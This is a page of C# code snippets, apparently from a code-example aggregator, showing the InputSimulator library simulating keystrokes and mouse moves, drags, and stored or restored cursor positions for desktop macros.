0
 public void OpenWindowsExplorer()
 {
     var sim = new InputSimulator();
     sim.Keyboard.ModifiedKeyStroke(VirtualKeyCode.LWIN, VirtualKeyCode.VK_E);
 }
コード例 #33
0
ファイル: FileCompiler.cs プロジェクト: SlaxXxX/Arcaduino
 public override void keysUp(InputSimulator inSim)
 {
 }
コード例 #34
0
 /// <summary>
 /// Instruction specific execution. Calls the specific execution.
 /// </summary>
 internal override void SpecificExecute()
 {
     InputSimulator.MouseDrag(GlobalData.MovementType, ButtonType,
                              X.Get(GlobalData.RandomX), Y.Get(GlobalData.RandomY), EndX.Get(GlobalData.RandomDragX), EndY.Get(GlobalData.RandomDragY), Speed(true).Get(GlobalData.RandomSpeed), Hotkeys);
 }
コード例 #35
0
        private static void HandleMouseMoveCommand(ExtendedCommand command, InputSimulator iis, VirtualKeyCodeContainer macro)
        {
            if (command == ExtendedCommand.EXTENDED_MACRO_MOUSE_MOVE || command == ExtendedCommand.EXTENDED_MACRO_MOUSE_POS ||
                command == ExtendedCommand.EXTENDED_MACRO_MOUSE_XY)  // Mouse Move
            {
                string[] mousePos = macro.ExtendedData.Split(',');
                if (mousePos.Length != 2)
                {
                    mousePos = macro.ExtendedData.Split(':');
                }
                if (mousePos.Length == 2)
                {
                    string mouseX = TryExtractVariable(mousePos[0]);
                    string mouseY = TryExtractVariable(mousePos[1]);

                    if (Double.TryParse(mouseX, out double x) && Double.TryParse(mouseY, out double y))
                    {
                        if (command == ExtendedCommand.EXTENDED_MACRO_MOUSE_POS)
                        {
                            iis.Mouse.MoveMouseToPositionOnVirtualDesktop(x, y);
                        }
                        else if (command == ExtendedCommand.EXTENDED_MACRO_MOUSE_XY)
                        {
                            System.Windows.Forms.Cursor.Position = new Point((int)x, (int)y);
                        }
                        else
                        {
                            iis.Mouse.MoveMouseBy((int)x, (int)y);
                        }
                    }
                }
                else
                {
                    Logger.Instance.LogMessage(TracingLevel.ERROR, $"HandleMouseMoveCommand - Invalid parameter {macro.ExtendedData}");
                }
            }
            else if (command == ExtendedCommand.EXTENDED_MACRO_MOUSE_STORE_LOCATION) // Mouse Store
            {
                Point point = System.Windows.Forms.Cursor.Position;
                dicVariables[MOUSE_STORED_X_VARIABLE] = point.X.ToString();
                dicVariables[MOUSE_STORED_Y_VARIABLE] = point.Y.ToString();
            }
            else if (command == ExtendedCommand.EXTENDED_MACRO_MOUSE_RESTORE_LOCATION) // Mouse Restore
            {
                if (!dicVariables.ContainsKey(MOUSE_STORED_X_VARIABLE) || !dicVariables.ContainsKey(MOUSE_STORED_Y_VARIABLE))
                {
                    Logger.Instance.LogMessage(TracingLevel.WARN, $"Restore Mouse called but no variables assigned");
                    return;
                }


                int.TryParse(dicVariables[MOUSE_STORED_X_VARIABLE], out int mouseX);
                int.TryParse(dicVariables[MOUSE_STORED_Y_VARIABLE], out int mouseY);
                System.Windows.Forms.Cursor.Position = new Point(mouseX, mouseY);
            }
            else
            {
                Logger.Instance.LogMessage(TracingLevel.ERROR, $"HandleMouseMoveCommand - Invalid command {command}");
            }
            return;
        }